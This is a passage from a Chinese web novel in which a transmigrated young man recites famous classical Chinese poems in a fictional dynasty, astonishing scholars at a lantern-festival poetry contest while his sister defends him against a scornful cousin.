“一道残阳铺水中,半江瑟瑟半江红,当你那句诗脱口而出之时,我便认定,你是这死寂多年的大乾文坛中,一颗无比耀眼的新星!”
杨文炳越说越激动,眼眶已然通红。
“彦兄,很幸运我当时在场,没有让那句诗随风消逝而无人知晓!若我寻不到那词文的作者,或许我此生都无法在文学造诣上再进一步,你明白吗彦兄?”
明白吗?
江云帆当然明白,那种明知道有目标,可目标却虚无缥缈的感觉。
就像前世他想开豪车、住豪宅,更知道只要有钱这一切都能办到,可真正让他感到迷茫的……是如何变得有钱。
此刻他也不知道如何回答杨文炳。
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>说一句“我就是那首词的作者”不难,难的是当麻烦接踵而至,自己又当如何应对?
空气陷入短暂宁静。
好在此时,不远处传入耳中的阵阵喧嚣,打破了这份僵持。
不知不觉,船已经到地方了。
那些嘈杂的喧嚣,自然来自码头附近如海潮般的游人,贩子的吆喝声与歌会舞会上的欢呼声,不绝于耳。
岸上的灯火绵延成山,天空几乎被辉映成了白日。
今夜的镜源县空前热闹,旅客摩肩擦踵,张灯结彩的街道,有多处几乎无法落脚。
港口周围**了大量的船只,相互堵塞下,外围的船根本就进不去。
“坐稳了杨兄!”
江云帆没有选择正面突破,而是挪转船头,操控着小舟滑向码头南侧二百步之外的一片空地。
那里远离闹市,人少,清净。
而且江云帆记得,那空地旁有一片竹林,从中穿过之后,可以从一条鲜为人知的小路直通明灯桥,免去拥挤。
此时杨文炳也逐渐恢复情绪,满脸歉意地坐下来:“抱歉彦兄,方才太激动了。”
“无妨,杨兄有执念,也有追求,这是好事。但我认为,相比于固执寻找那首词的作者,更仔细地观察自然,感悟生活,于你而言或许更有用。”
杨文炳点点头,眼看着小舟逐渐靠近岸滩。
江云帆领着他下船,并牢牢系上船绳,扣上铁锁。两人抱着酒坛,找了一处平坦干净的石板地面坐下。
方才喝得有点急,得醒醒酒。
杨文炳脑袋还晃晃悠悠的,但思维却在反复回响江云帆的话。
观察自然,感悟生活……
忽然,他的目光在远处竹林下的平地停留。
“彦兄,你快看!”
他急忙叫住江云帆,满脸意外地指着那空地:“此时月光澄澈,那里明明是干燥的平地,看起来却像是一湾浅池!而那竹叶投下的阴影,又像摇曳的水草,好生奇妙!”
“!”
江云帆当即一愣。
杨文炳如此一句话,仿佛一道开关,打开了刻在他骨子深处的记忆。
那句反复背诵了千万次的词文,几乎是顺嘴而出:
“庭下如积水空明,水中藻荇交横,盖竹柏影也。”
“何夜无月?何处无竹柏?但少闲人如吾两人耳……”
第82章 我哥真的会写诗
“何夜无月?何处无竹柏?”
“但少闲人……如吾两人耳!”
“这……”
杨文炳重复完这句话的一瞬间,便彻底瞪大了双眼,身形晃悠险些摔倒。
他的世界,已然被这句话给完完全全地占满,眼前那少年的声音,在脑海里回响再回响,好似一次又一次地守在他耳朵边颂唱。
这是怎样的一句?
时光流转,明月永恒,无论在哪一个夜晚,只要肯抬头,就可以看见月亮。
天下之广,大地无疆,无论在何方何处,都遍布着竹林与松柏。
可当月光穿过竹叶柏枝,洒在空旷的地面时,又有谁能够注意到那“月光如水,竹影似藻”的绮丽美景?
恐怕,唯有如他们这般无所事事的闲人吧。
所以这短短一句,到底蕴含了多少的哲理?
——世界从来不缺少美,只是缺少发现美的眼睛。
杨文炳脑子忽然闪过这句话。
而“品察自然,感悟生活”,彦公子方才所说的这八个字,在他的心中,已然得到了最真实的体现。
此刻他看彦公子的背影,已不再是湖畔或舟上的那位少年英才。
而是一位闲适散漫,却又顶天立地的大师!
“彦兄……”
杨文炳强行稳住摇摇欲坠的身体,面色严肃,冲着江云帆抱紧双拳。
江云帆闻声回头。
杨文炳只抱着拳,没有说话,无声却胜有声。
【叮,震惊达成,来自杨文炳的情绪值:+368!】
**了!
以杨文炳的奖励倍率来看,368点情绪值已经非常高了,足以见得此刻他内心的震撼到底有多么强烈!
而江云帆从他眼中读出的感情不止震惊,更多的则是崇拜。
但江少爷此刻却感受不到太大的喜悦。
固然经过两次震惊之后,他所拥有的情绪值再一次突破了1000大关。可经此一事,他“身怀大才”这一点怕是瞒不住杨文炳了。
果不其然,**公子经过半晌沉默,眼眶都红了:
“彦兄,在认识你前,我杨文炳自认才华出众,异于常人。而见你之后,方知文之尽头,高比苍天,触之不及!”
“论年纪,你不过十有七八,比我年轻数岁。”
“论文才,你随口而出便是此等震心慑魄的妙句,我更是自惭形秽!”
“往后,彦兄切莫再说自己不通诗词,你若不通,那这天下还有谁人可通?”
江云帆被夸得很是无奈:“杨兄谬赞了,其实方才那几句,是我曾在一本书上看到的,见眼前景色与书中描述一致,便随口念了出来。”
听到这话,杨文炳顿时眉头一皱。
“那是何书?”
他不明白,要当真有这样一本奇书,其中所记文章如此绝妙,他不可能没有读到过。
可谁知江云帆当真能脱口而出:“人教版八年级语文上册。”
“什么?”
杨文炳蒙了,什么八年语文,还分上下册?
哪怕是在帝京最大,其中收录了自上古时期以来数十万册书籍的藏书阁,也绝对没有这样一本书。
“就是八年级语文,不会错。”
江云帆自说自话。
关于这篇文章的来历,他自然记得清清楚楚,毕竟前一世因为没能背诵下来,被初二的语文老师罚抄了一百遍。
他当然知道杨文炳理解不了,但这样自己既没有撒谎,也能**关。
于是说完他便挥了一下手,也不等酒醒,就这样大摇大摆地朝着竹林中的小路走去。
杨文炳连忙跌跌撞撞地跟上。
他不信什么八年语文上册,在他心里早已认定,眼前这个少年,就是方才这文章,那日湖畔的诗文,甚至镜湖文会上那首惊世之词的作者!
今夜无论如何,他都不能再跟丢。
……
灯会已然开始,整个镜源县城都陷入一阵沸腾之中。
而与此同时,湖畔的秋思客栈,也同样迎来一波热潮。
归雁先生光临的消息,很快便被传了出去。一些随队一个时辰,好不容易才过关入城的儒生学子,立刻又折返回来,只为见一见这位名震江南的老大儒。
客栈的大堂和二楼的雅阁早已人挤人,但诗酒会的比试,依旧如火如荼地进行。
来自各地的才子轮流上台,绘声绘色地将自己精心所作的文章给念出来。
其中不乏颇有水平者,既能得到归雁先生的赞扬,也能在榜单上提名,从而有机会获得客栈的美酒奖励,可谓名利双收。
因为客人太多,白瑶忙得不可开交。
但眼看点餐要茶的人,站得满走廊都是,她也抑制不住内心喜悦。
今日赚的钱,怕是比以往半个月还多!
这让白瑶更加觉得江云帆难得。要
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不是小帆,今夜的客栈注定和往年一样,冷冷清清。
江滢见白瑶累得满头大汗,便主动从后厨出来帮忙。
然而刚送完两桌茶水,便**元勤给拦住了去路。
江二少爷满脸阴沉:“江滢,告诉我,江云帆到底去哪了?”
“我不知道……”
江滢慌乱摇头,身体后退想要远离。
殊不知江元勤越逼越近:“等他回来你告诉他,立刻滚来见我!还有你,擅自离家跑来此地,等回去后看我怎么收拾你!”
江滢身体颤颤巍巍,眼里明显写满了恐惧。
她没敢答话,倒是江元勤又冷哼了一声:“真是遗憾,没能让江云帆那一无是处的废物亲耳听听我的词文。不然的话,他说不定能认清现实,知道同为江家子嗣,亦有天大差距!”
“不是的!”
一听江元勤辱骂江云帆,方才瑟瑟缩缩的江滢立马挺直了腰背。
她看着对方的眼睛,目光决然:“哥哥会写诗,不是你说的废物!”
“噗……哈哈哈哈!”
江元勤丝毫没绷住,当即笑出了眼泪,“你说江云帆会写诗?哈哈,野种就是野种啊,脑子实在不好使,你就算要吹牛也别吹得这样离谱啊,他江云帆什么蠢货,现在能把字儿认得全吗?”
“我哥真的会写诗!”
江滢有些怒了,她从未有过此刻这样的勇敢。
她虽不懂文辞,但看得出哥哥卧房里的那张纸上,那首《桃花庵歌》,一定是颇有才华的人才能写出来的。
“嗤……写诗。”
江元勤咧咧嘴,看向江滢的眼神写满了不可理喻,“好,那就让你先听听我写的词,再对比你哥写的那团狗屎,看看他那叫不叫诗!”
二少爷猛地一甩衣袖,一脸傲然地转身,迈步走上了台。
坐在最前排的沈远修见状,轻抚了一下胡须,扬声道:“各位,让我等欣赏一下,当朝新科进士江公子的佳作!”
原本喧哗的场下,立刻安静了不少。
所有人都将目光汇聚到台上,等待着江元勤开口。
江元勤先是朝着沈远修行了一礼,随后扫视一圈众人,目光落在江滢身上时,闪过一丝蔑视和挑衅。
接着他伸手一挥,从面前的桌上提笔而起,并在悬挂的白纸上落墨。
一边写,一边高声诵读:“登峰望乾阁……”
……
第83章 哥哥的诗,名为《桃花庵歌》
江元勤话音一启,在场众人尽皆聚精会神,甚至有人屏住呼吸。
登高望乾阁。
乾阁,自然是指所有大乾文人所向往的圣地——乾文阁。那里既是人生梦想,也是心中信仰。
所以当江元勤以之为题时,所有人都肃然起敬。
江元勤提笔,一番龙飞凤舞之后,在那白纸上写下一个个遒劲的文字——
“万仞琼楼接玉京,云阶直上叩天阍。千卷珠玑悬日月,九重金碧耀乾坤。”
“好!”
写到这里,坐在台下观赏的程修齐已忍不住喝彩,眼中情绪激昂。
在这一届国经院的学子中,江元勤是唯一一个令他自叹不如的同窗,这便是他明明身份更高贵,却甘愿在对方面前自认小弟的原因。
今日见这词,程修齐只道,江元勤果真无愧于他的佩服!
台上,江元勤手中的毛笔依旧没停。
他迅速写下词文的下片,并大声诵出:
“星作墨,海为樽。胸中丘壑吐长鲸。
他年身到层霄外,始信人间第一峰!”
笔锋一停,台下掌声雷动。
“好词文,好豪情,好志向!”
“当真是难得一见的妙词,文字激扬,节奏铿锵,听得人热血沸腾。”
“是啊,这首词既咏乾文阁巍峨壮阔,又扬登高凌峰之报负,巧妙精湛,这江公子,果真不愧为当朝进士,文采卓绝啊!”
“我认为,这首登高望乾阁,足以夺得这次诗酒会魁首了!”
众人的称赞久久不绝,江元勤站在台上,无比谦逊地朝着下方作揖,唯一遏制不住的,是不断上扬的嘴角。
这正是他想要的感觉!
果然,只要离了王府楼舫,离了那首“东风夜放花千树”,他无论走到哪里,都是所有人追捧的对象!
而他的词,也必然能震惊四座,绝无对手。
这感觉真好,真享受,昨日丢失的自信瞬间重拾,这才是他江元勤本该有的实力!
“先生,这江公子一向词才了得,就算放在帝都,也属同辈中的佼佼者了。今日这词,更是出类拔萃!”
“嗯……”
坐在第一排的沈远修,他听到了身旁齐之瑶的提醒,满眼欣赏地点了点头。
诚然,这首词确实不错,不是一般人能够写得出来的,若是今年的竞争不够激烈,或许能入乾文阁。
“只可惜,仍在桎梏之下。”
或许是见过了镜湖文会的那首词,沈远修总觉得自己的眼光变挑了。
若是以前看到江元勤这样的词,他必定大肆赞扬,甚至主动为其提名入乾文阁。但此刻见了,却总觉得不够惊艳。
唉,胃口被养刁了,以后上哪再去听“蓦然回首,那人却在灯火阑珊处”这样的绝妙佳句?
实际上胃口刁的不只是沈远修。
还有坐在大堂后方拐角内,那位身着粗麻衣的老者。
季云苍原本正悠闲地品尝免费的茶水,在江元勤的声音传来时,也聚精会神地听着,但片刻之后便摇摇头,继续饮茶。
词确实不错,但,还不至于让他动容。
此时,堂中忽然响起一道高声:“我说江公子为何看着如此眼熟,不就是凌州豪门江家的二公子吗?”
“对啊,素闻江家人才辈出,今日一见江公子便知,果真如此!”
又一波夸赞声传来,江元勤站在台上越发自信盎然。
而等众人的声音稍歇,他又抱拳正色道:
“各位朋友过誉了,江家的名声乃是由祖上世代打拼而来,即便到了这一辈,我江元勤相比于其他兄弟,也只算得平凡。”
“哦?”
此话一出,全场皆惊,“以江二公子这般才华,竟只算上平凡?那其他几位公子,到底是何种水平?”
“其他兄弟,远在我之上!”
江元勤一声高调,那挑衅的目光再度落在江滢身上,后者被看得浑身一哆嗦,心里有种不安的预感。
果然,江元勤再次开口道:“尤其是我的三弟,二叔江朝北之子,江云帆!”
“!”
话音刚落,正在端茶送水的白瑶停下了脚步。
而拐角后的季云苍猛然一怔,手中的茶杯顿在半空。
他从墙角弹出脑袋,将目光投向台上。
提到江云帆,那他可就没闲心喝茶了……
与季云苍一样,坐在大堂首排的沈远修也忽然坐直了身体,满眼愕然。
原来江云帆和江元勤二人,当真是兄弟!
他来得匆忙,此前也一心只想与江云帆交流诗词,竟忘记向郡主打听对方的身世。
沈
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远修一下便想通了,怪不得镜源万灯节之际,能在城外的小客栈见到江元勤,敢情是来寻自家堂弟的。
片刻间,他的心中便有了计较。
既然江家邀他前往凌州讲学,而江云帆又恰好是江家子嗣,那他岂不是可以借此机会,好好拉近一下与对方的关系?
看来这凌州是不得不去了。
“江二公子,你说令弟文才尤在你之上,可有作品供我等拜读一番?”
“是啊,江公子方才这首词已登峰造极,三公子若无妙作,我们可是不信的!”
“妙作,自然有。”
江元勤微微一笑,“我三弟近日悟得一首诗,堪称惊天之作!可惜,我还没来得及赏阅,三弟今日又不在现场。”
说到这他话锋一转,目光直指江滢:“不过好在……舍妹江滢,她已将记下全部内容,可由她为各位诵读!”
话音一落,众人的目光纷纷汇聚到江滢身上。
小姑娘哪里经历过这样的关注,当即吓得慌乱不已,想要后退躲避。
奈何众人的催促声连番传来:“江小姐,令兄有佳作,且勿潜藏,念出来让我等听听啊!”
“是啊江小姐,人文之间,理应互相勉慰,以诗作礼!”
江元勤也道:“来吧滢滢,千万不要给你哥丢人啊!”
看那一脸笑意的样子,江滢已然明白,他努力抬高哥哥的目的,就是想让自己当众念出哥哥的诗,好与他的词形成对比,从而让哥哥丢人!
如果她不念,哥哥便坐实了“废物”的名头。
不……
江滢用力皱紧眉头,目光变得决然起来。
她绝不能让哥哥被人废物来废物去地喊。
“好,我念!”
一声清冷,众人纷纷让开道路,让江滢顺利走到台上。
江元勤也主动往旁边挪了几步,抬手笑道:“请吧,小妹。”
此时此刻,台下尽数安静,针落可闻。
沈远修正襟危坐,目光虔诚。
季云苍用了掏了掏耳朵,似乎生怕有一个字听不清。
他们都在好奇,江云帆这一次,又写了一首什么样的惊世之作!
台上,江滢稳了稳心神,悠悠开口:
“我哥哥写的这首诗,名为……《桃花庵歌》。”
……
第84章 又一次失败了
桃花庵歌!
这四个字,宛如一道惊雷在季云苍心中炸响。
是这首诗!
是这首桃花庵歌!
关于这首诗,江云帆那小子一直藏着掖着,季云苍做梦都想知道全篇。因为他认为自己毕生所学,最终仿佛都是为了能写出这样一首诗。
奈何他的思想和笔力,从十年前开始就已经油枯灯竭了,这十年他连一首诗都没能写出来。
第一次听到《桃花庵歌》,他甚是喜爱,并且感动万分。
这首诗里的每一个字,几乎都凝结了他的幻想。
而此时此刻,台上站着的这位小姑娘,江云帆的妹妹,她说她记得这首诗的内容,而且要当众朗诵出来。
季云苍已然无法形容自己现在的心情。
“好,好一个桃花庵歌。”
江元勤在台上鼓了两下掌,嘴角挂着似有似无的笑意。
他心里已然认定,江云帆就是个彻头彻尾的废物,或许连什么是诗,什么是歌都分不清。
江元勤倒真心希望那小子在现场,亲耳听听自己写的东西被当众念出来,丢够了人之后,再彻底认清与他这个二哥之间的差距。
此时江滢站在台上,没有理会江元勤的冷嘲热讽。
她现在就只有一个想法——
要让所有人知道,哥哥不是废物!
所以,在哥哥卧房的桌面上,细纸上写下的那首诗,迅速在脑海中浮现。
江滢不带任何感情,就这样一字一句念了出来:
“桃花坞里桃花庵,桃花庵里桃花仙。
桃花仙人种桃树,又折花枝换酒钱。”
听到这,台下众人稍稍舒展了眉头,原本紧绷的神经,也略微放松了几分。
沈远修开始细细琢磨。
而在人群后方,季云苍已然背靠墙壁,闭上眼睛,开始享受这首诗的每一个字。
“酒醒只在花前坐,酒醉还来花下眠。
半醒半醉日复日,花开花落年复年。”
到此,江元勤嘴角扬起的弧度越来越大,心里的傲气也越来越浓。
这首诗平仄的节奏和韵律的连贯倒是做得不错,可要论深度水平,与打油诗何异?
“果然,江云帆还是那个江云帆,你说他会写诗,可努力了这么多年写出来的东西,依旧不过如此。”
江元勤就站在江滢不远处,冷笑着点评。
此时江滢忽然一睁眼,方才忘掉的诗文内容,一下便想起来了。
她依旧没有理会江元勤,继续开口朗诵:
“但愿老死花酒间,不愿鞠躬车马前。
车尘马足富者趣,酒盏花枝贫者缘。”
“?”
江元勤猛地一愣。
他本以为这是一首七言律诗,到刚才那句就已经结束了,却没想到还有后续。
关联这后续……把水平瞬间便抬高了!
短短四句,便把洒然脱俗、不求富贵的情感明确表达出来,若再结合前文,更是相映成巧,让人深切体会到那份与桃花作伴的闲适自由。
可这首诗,当真是江云帆所写?
相比于他的疑惑,沈远修坐直的身体已然顿住,那张微胖的老脸也有些动容。
他已经预感到,这首诗还有后文,而且绝不简单!
果不其然,江滢很快便再次开口:
“若将富贵比贫贱,一在平地一在天。
若将贫**车马,他得驱驰我得闲。”
沈远修瞪圆双眼,心中直呼妙哉!
这几句简简单单,没有堆砌华美的词藻,也没有引用名经古典,但却无比直观地传达出一种孤独且不随大众、不慕荣华的自得其乐。
那种“桃源隐逸”的闲雅,瞬间深入人心。
季云苍也同样将眼睛瞪大了。
他几乎不受控制地站起身来,脚下迈开一步,就这么走到了拐角之外,目光直视江滢。
“世人笑我太疯癫,我笑世人看不穿。
不见历年豪杰墓,无花无酒锄作田。”
“嗡……”
只一瞬,季云苍脑中便传来震耳欲聋的声响。
这……便是江云帆的桃花庵歌的所有内容了吗?
世人笑我太疯癫,我笑世人看不穿。
好,好啊!
好一个独来独往,随心所欲,无畏他人看法!
哈哈哈……
季云苍的内心开始狂笑起来,他等这首诗歌完篇,已
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经等了很久很久,今天终于圆满了!
这结果也确实没有让他失望,这首诗所表达的闲适与快乐,孤独却又欣然享受的感情,不正是他所追求的吗?
季云苍此生阅诗无数,此时此刻他完全可以认定,这首《桃花庵歌》,便是他这么多年来,所见过最美的一首!
“好!好!好!”
首排的沈远修率先站起身,不断朝着江滢鼓掌。
正如他先前所想,这首诗就文字水平而言,算不上多么华丽。
可它所吸引人的地方,远不在文字表面,而是它凭借几行文字,便能将听者瞬间带入那片桃林环绕的田园山居中。
自由,欢快,无拘无束……
沈远修不禁感慨,要是当年与他齐名那个老家伙在,或许会爱这首诗爱到骨子里。
“哗啦啦……”
“好诗啊,好诗!”
有了归雁先生带头,台下一众文人学子纷纷鼓动手掌,嘴里也是赞叹连连。
再看台上,江滢见此一幕,一直悬着的心终于放了下来。
真好,哥哥的作品,终于得到了别人的认可。
他不再是那个废物了!
而反观江元勤,则是愣在原地一动不动。
准确地说,在江滢念出最后几句的时候,他便已经完全僵住了。
他惊的是,自己的思维完全不受控制,竟完全代入了那诗中的悠闲自在。
更惊的是,这首看似简单接地气,实则精彩绝伦的诗,居然是江云帆所写!
其思想之成熟高深,相比之下,自己那首《登高望乾阁》,倒显得像个初学之人所写!
可这怎么可能?
“这怎么可能?”
江元勤脸色铁青,瞪眼看着江滢,似乎就想要听到一个答案。
他失败了,又一次失败了!
本以为远离了那首“东风夜放花千树”,他便再无敌手,却万万没想到,还有一首《桃花庵歌》!
为什么?
凭什么!
难道他江元勤,想要一展自己的才华,就这么难?
高台另一侧,江滢淡淡看了他一眼。
接着一句话没说,头也不回地下了台……
第85章 不是我不想,是他不愿意
江元勤从未有过这样的感觉。
哪怕是昨日在王府楼舫上,他被那首“东风夜放花千树”惊世骇俗的气场给压得喘不过气来,也没有此刻这般……彷徨,**,无地自容!
好在台前准备了一张小桌,他伸手扶住桌沿,才避免了失力摔倒。
此刻的江元勤,只感觉失魂落魄。
他可以接受失败,可以接受自己不如别人,可以接受他的词被突然出现的惊世佳作压下一头。
但绝不能接受江云帆那个废柴比自己强!
然而现实却是,这首《桃花庵歌》,那句简单的“我笑世人看不穿”,完完全全碾压了他的词!
他真的还是那个一无是处的江云帆吗?
不,一定不是他!
江元勤恍然回过神,再看走下台的江滢,却见自己做梦都想讨好的归雁先生,正满脸笑意地迎上去。
“江小姐请留步。”
现场人多,沈远修快速挪动身体,生怕一不小心就让江滢溜走了。
齐之瑶也紧跟在他身后,两人一同拦住江滢去路。
“江姑娘,敢问令兄现在何处?”
自听完江滢口中那首诗起,沈远修心里的激动之情便一刻也没有停息下来。
他很兴奋,而且坚信这首《桃花庵歌》,一定是江云帆本人所作!
原因无它。
清晨在湖畔月牙湾,江云帆仰望苍空,孤独而傲然的眼神,还有他拒绝荣华富贵时的坚决,正契了这首诗。
这简直就他为自己量身而创的!
所以此刻,沈远修想见江云帆的心,已经完全遏制不住了。
他满脸期盼地看着江滢,就等着对方告知江云帆的下落,自己便立刻马不停蹄赶去相见。
然而,江滢先是顿了顿,随即又摇了摇头。
“他不在客栈?”
江滢依旧摇头:“不知。”
不知,就是不知!
江滢早已养成了这个习惯,打小的时候二哥江元勤就经常向她打听江云帆的下落,她都说不知。
因为她知道,对方找哥哥,准没好事。
沈远修似乎看出了她的担忧,正色解释道:“小姑娘你放心,我与令兄乃是朋友,想要寻他,也只是为了相互交流诗文,绝无其他目的!”
“我……我真的不知道。”
江滢也有些慌了,赶紧埋着头从旁边穿过,一溜烟便进了客栈后院。
沈远修自知不能深追,只得长叹一声。
“唉……”
“看来先生,很是喜爱这位作诗之人。”
一旁的齐之瑶感受到他的焦愁,眨了眨眼睛问,“那为何不考虑将他收入门下?”
“害。”沈远修一脸苦笑,“你以为是我不想吗?是他不愿意啊!”
“不愿意?”
这倒是让齐之瑶完全没想到。
面前这位可谁享誉江南乃至整个大乾的文道大儒归雁先生啊,有多少人想拜入门下,却根本连门槛都踏不进去!
就好比她自己,京城开阳侯孙女,由爷爷亲自领着上门,也未能让沈先生松口收徒。
现在先生主动提出,对方居然会拒绝?
齐之瑶对这个江云帆,倒是越来越好奇了。
“先生不如这样,让我去见一见那人,试试能否将其说动。”
“你去何处寻他?”
“请先生放心,我自有办法。”
沈远修沉思片刻。
他也知道,即便自己再次面对江云帆,估计也很难说服对方。
倒不如让齐之瑶试试,说不定她们年轻人之间,当真能找到共同话题。
“好,那就有劳你了。”
“不敢。”
齐之瑶低头行了一礼,随即缓缓退去。
她并没有立即离开客栈,而是在大堂的前院,找到了正躲在墙角偷闲的杂工小李。
从兜中拿出一锭闪亮的银子,后者立马点头哈腰起来。
“不用你做其他事,只需要告诉我,江云帆今晚去了哪里。”
“明白。”
小李重重点头,压低声音道:“下午我听到了江云帆和老板娘的对话,他今晚应该是去了灯会,在城中明灯街的美
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食巷!哦对了,他还要帮老板娘买桂花酥。”
“行,去吧。”
齐之瑶张开五指,任由银锭落在小李手中。
果然,她的办法很有用。
毕竟只要有钱,想打听一个人的下落还不简单?
江云帆去了明灯街,正好,她也可以去看看灯会。
齐之瑶走出客栈,此时路旁已经停靠了大量的马车,都是送各方公子小姐来参加诗酒会的。
她伸手随意一招,一辆装饰豪华、幕帘上印有侯府标记的双马车轿,迅速来到眼前。
齐之瑶果断牵起裙摆,登上车驾。
“直接入城,去明灯街。”
“是!”
马夫一拍马鞭,趋车而去。
……
夏夜渐深,但此时的镜源县城内,反而亮如白昼。
随着时间的推移,分布在灯会各处的特色活动相继展开,也将整个万灯节推向了新的高潮。
明灯桥长足三十丈,缠着夺目的彩灯与火烛,横跨整个镜河。
这里是整个灯节上,最为明亮的地方。
桥下是平静缓流的江水,上面有密密麻麻的商船,朝着两岸来回穿行。
按照传统,今晚的明灯桥会被姑娘们占据,男士们会被拒绝上桥。要想过河,就只得支付些许钱币,去乘坐那些商船。
“彦兄,彦兄!”
“嗯?”
此刻的江云帆,恰好就坐在船头发愣。
船下的水面倒映着城中的灯火,璀璨夺目,煞是好看。但他走神并不是因为欣赏美景,而是被脑中接连不断响起的系统提示,给震得有些发麻。
就在刚才,他的耳朵瞬间就被那叮铃铃的声音给充满。
情绪值在顷刻之间疯涨,总计来到近四千!
属实超出预期。
不用想也知道,秋思客栈的那场诗酒会有结果了。
而那些不断涌现的情绪值,有来自白瑶的,有来自沈远修和季云苍的,甚至……还有来自江元勤的!
他怎么也去了?
……
(还有一章请稍等)
第86章 姻缘桥下
江云帆也不清楚,江元勤这家伙为何又摸到了秋思客栈来。
他心里还是有些担心,毕竟江滢还在那里,两人见面,指不定会发生什么。
不过想来客栈有那么多人在场,江元勤应该也不敢乱来。
“彦兄!”
就在这时,杨文炳又一次呼喊声,将江云帆从思索中唤醒。
他定下身,见杨文炳正紧紧盯着自己背上的双肩包,满脸好奇。
“彦兄,在下方才便想问,你背上这布囊鼓鼓,似乎重量不轻,既是参加灯会,为何要负重前来?”
其实早在镜湖之上,他便注意到江云帆对这包裹保护有加,一刻也不曾卸下。
毫无疑问,里面必然有重要的东西。
杨文炳也知道不应打听别人私事,但他仍旧忘不了自己此行的目的,是寻找那晚那首词的作者。
除了江云帆在船上的背影外,他所知道的另一条线索,就是那会飞的黑色器物了。
若能再次见到那东西,便能立刻确定身份。
江云帆不知道他心中所想,但也没有傻到什么都说,只开口答道:“一些小工具,利于出行方便,不值钱,也没什么大用。”
“原来如此。”
杨文炳自然不确定此话真假,但出于礼貌,也没再追问。
他转头看向远处的明灯桥,忽然被上面的一道道倩影所吸引:“彦兄,你看桥上那些姑娘。”
顺着杨文炳视线的方向,江云帆抬头望去。
只见那明灯桥上,果然站着不少打扮精致、姿色各异的妙龄女子,莺莺燕燕一片。
“不知彦兄往年可有来过灯会?”
江云帆摇摇头。
他到这个世界不过三个月,自然是没经历过往年的灯会。而在原主的脑海里,他同样没找到相关的记忆。
“既然如此,那便由我来讲解一番。”
杨文炳一脸自得的笑意,伸手一指桥上,“彦兄请看,那些姑娘手中之物,名为姻缘花球。”
“凡是来此寻求姻缘的女子,都会在花球里放上一张纸,纸上写有半句诗词,或是半则对联。男子乘船自桥下而过,若是提前有约,或是她们相中船上某人,则会丢下花球,并于桥头等候。”
“当船抵达桥头时,若男子能对出下句,且女子满意,则认定姻缘已成,两人即可携手。”
“故而这明灯桥,也被称作姻缘桥。”
江云帆一边听着,一边点头。
而后忽然神色一正:“在我们这个位置,花球应该丢不上来吧?”
“自然是丢不上来的。”
杨文炳目测了一下,他们脚下的商船,距那明灯桥少说也有七十余步。女子本就体弱,想要将质地轻盈的花球丢出这么远,谈何容易?
然而就在这时,一道厉喝声突然响起:“谁让你把船开这么远的?还不速速靠近,本少爷要接花球!”
“是是是,公子请息怒,我这便靠过去。”
划桨的老船家连声称歉,急忙调转船头,往那明灯桥的方向行去。
江云帆与杨文炳相视一眼,随即同时看向船板的另一侧。
镜河上的商船,一趟最多能载五人。
此刻这艘船上除了他们,还有另外两名男子,也同他们一样,一人锦衣玉饰,一人布麻简素。
看那样子,像是主仆二人。
“看什么!”
见两人张望,那体态宽肥的富贵公子当即挑眉,“没见过如此英俊的男子?”
“噗……”
杨文炳一个没憋住,当即漏了气。
他倒不是以貌取人,只是从没见过如此自信过头的人。
船游得很快,片刻便已来到明灯桥下。
此刻桥上的灯火彻明,照得船板一片透亮,江云帆与杨文炳保持着不抬头的姿势,这样若从桥上看来,也基本看不清他们的容貌。
商船再度转向,朝着对岸缓行。
杨文炳微微侧了下身,凑在江云帆耳旁问道:“彦兄,你说咱们这船上,会有花球掉下来吗?”
“怎么,杨兄渴望姻缘了?”
“哪里话,只是从未经历过,有些好奇罢了。”
“恕我直言。”江云帆很无语,便抬头看向船另一侧的两人,“这番就算把船靠近了,也不一定能接到花球,又何必浪费大家的时间呢?”
他是来看灯会,是来享受生活的,这种陪别人度过无聊时间的情况,很影响心情
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。
“我看你是在胡言!”
那富贵公子尚未来得及开口,旁边那身形清瘦的小厮便直接跳了起来,“以我家公子之姿,何愁接不到花球?”
“而且,说出来怕吓死你们,我家公子的舅舅,乃是烟凌城大都尉侯宽!在烟凌城中,光是主动接近的女子便已多不胜数,又何况是这小小的镜源县?”
“还有,你二人若再敢质疑,得罪了我家公子,小心往后的日子不好过!”
好大的口气!
听到这话,江云帆和杨文炳无奈一笑,不约而同地移开视线,看向他处。
倒不是怕对方,只是觉得无趣。
对于这种喜欢张牙舞爪的人,江云帆向来不爱搭理。
杨文炳也一样,要不然以他凌州总督之子的身份,在镜源县这地界,还真不需要给一个无名纨绔面子。
就在这时,那胖公子忽然站起了身,一脸傲然地看着两人:“你们两个,竟敢挑衅于我,接下来便让你们看看,本公子是如何接到花球,又如何续上诗联,抱得美人归的!”
杨文炳正要再笑,却忽听“嗖”的一声——
“咚!”
一只大红色的手工花球,恰恰好好砸在了他和江云帆中间。
空气安静片刻。
接着便是胖公子的大笑声:“哈哈哈哈,我说什么来着,啊?我徐坤到底能不能接到花球,到底能不能得到美人青睐,说啊!哈哈哈……”
他兴奋不已地迈动脚步,走到江云帆和杨文炳跟前,一把捡起那花球。
并瞥了两人一眼:“方才只是让你们见识本少爷的魅力,现在还要让你们感受一下,本少爷的惊世文采!”
“拿笔来!”
“是。”
瘦小厮接到命令,立马翻开书箱,取笔蘸墨。
徐坤打开那花球,一手持笔,一手取出球中的纸张,信心满满地看向纸上文字。
下一刻,眉心忽然紧皱:“这对子……嗯,很好!”
他提着笔,不断点头,但又迟迟无法下手。
瘦小厮见状,连忙凑近一看,并将上面的内容,一字一顿地念了出来:
“一道残阳……铺水中……”
……
第87章 我许灵嫣要做与他共鸣之人
明灯桥上,火光如旭。
各色绚烂的彩灯,仿佛将整个世界都染得通亮。
桥拱中央,几乎是镜源县城的最高处,站在其上,可一眼阅尽整个城区。
镜源县城纵横五里余,往日一片漆黑,今夜却已被灯火完全点燃。
当真是“东风夜放花千树”。
此刻许灵嫣一袭红裙立于桥上,恰好与这灯火相辉映。
那红裙颇为贴身,束得她体态婀娜,腰肢修长。
裙摆之下,一双雪白小腿,柔润如脂。领口上方,大片光洁细腻,浅壑入目。
今日她将自己打扮得很漂亮,朱唇嫣黛,明眸皓齿。桥上凡有路过之人,哪怕尽是女子,也都忍不住侧目而视,愣神良久。
而在两端桥头,各有一帮年龄四十往上的妇人围聚在一起,双手翻飞,快速编织着鲜红的手工花球。
有一眉角长痣的妇人,手上一边动作,一边仰头看向桥上的许灵嫣。
“啧啧啧……”
她忍不住感慨一声,“上一次见到如此美丽的女子,还是在十年前,王爷带王妃来游灯会的那次。”
“是啊,这样说来,今晚这姑娘当真是近些年最漂亮的一个!”
“只是不明白,她买了那么多花球,倒地是想认识多少男子?”
